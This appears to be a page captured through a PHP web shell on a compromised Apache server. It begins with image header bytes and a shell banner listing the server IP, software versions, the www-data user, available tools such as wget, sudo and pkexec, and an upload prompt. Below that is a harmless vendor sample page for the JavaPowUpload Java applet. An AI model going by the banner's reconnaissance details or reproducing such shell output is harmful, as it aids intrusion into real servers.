????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/productionzon/JavaPowUpload/ |
Upload File : |
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Detect and install Java</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
Sample: <b>detectAndInstallJava.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/><br/>
<p>This example demonstrate how to deploy applet with help of <a href="http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html#deplToolkit" target="_blank">Deployment Toolkit Script</a> (deployJava.js) . <br>
It allow to detect if required version of Java installed on user computer and start installation process if needed. </p>
<p>Here is java script code snippet to place applet on page with help of Deployment Toolkit: </p>
<div id="parameters" ><code>
<pre><script src="Extra/deployJava.js"></script>
<script>
var attributes =
{
name : 'JavaPowUpload',
id : 'JavaPowUpload',
code : 'com.elementit.JavaPowUpload.Manager',
archive : 'lib/commons-httpclient.jar, lib/JavaPowUpload.jar',
width : 500,
height : 350,
mayscript : "true",
alt : "JavaPowUpload by www.element-it.com"
};
var parameters =
{
"Common.SerialNumber" : "put your serial number here",
"Common.UploadMode" : "true",
"Common.UseLiveConnect" : "true",
"Upload.UploadUrl" : "FileProcessingScripts/PHP/uploadfiles.php"
};
var version = '1.5.1' ;
deployJava.runApplet(attributes, parameters, version);
</script></pre>
</code></div>
<br/>
<!--lib/JavaPowUpload.jar - main jar file, should always be included
Optional jar files:
lib/skinlf.jar - for themes support
lib/commons-compress.jar - compression before upload
lib/commons-httpclient.jar - http upload functionality
lib/commons-net-ftp.jar - FTP protocol support -->
<script src="Extra/deployJava.js"></script>
<script>
var attributes =
{
name : 'JavaPowUpload',
id : 'JavaPowUpload',
code : 'com.elementit.JavaPowUpload.Manager',
archive : 'lib/commons-httpclient.jar, lib/JavaPowUpload.jar',
width : 500,
height : 350,
mayscript : "true",
alt : "JavaPowUpload by www.element-it.com"
};
var parameters =
{
"Common.SerialNumber" : "put your serial number here",
"Common.UploadMode" : "true",
"Common.UseLiveConnect" : "true",
"Upload.UploadUrl" : "FileProcessingScripts/PHP/uploadfiles.php"
};
var version = '1.5.1' ;
deployJava.runApplet(attributes, parameters, version);
</script>
<script type="text/javascript">
function JavaPowUpload_onServerResponse(status, response)
{
var responselable = document.getElementById("serverresponse");
responselable.innerHTML += "<br>Response code " + status + response;
}
</script>
<br/>
<b>You should see server reponse below when upload complete.</b><br/>
</p>
<div id="serverresponse"> </div>
<br />
The file uploader doesn't work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work.
<br/>
<a href="index.htm"><<Return to the samples list</a>
</body>
</html>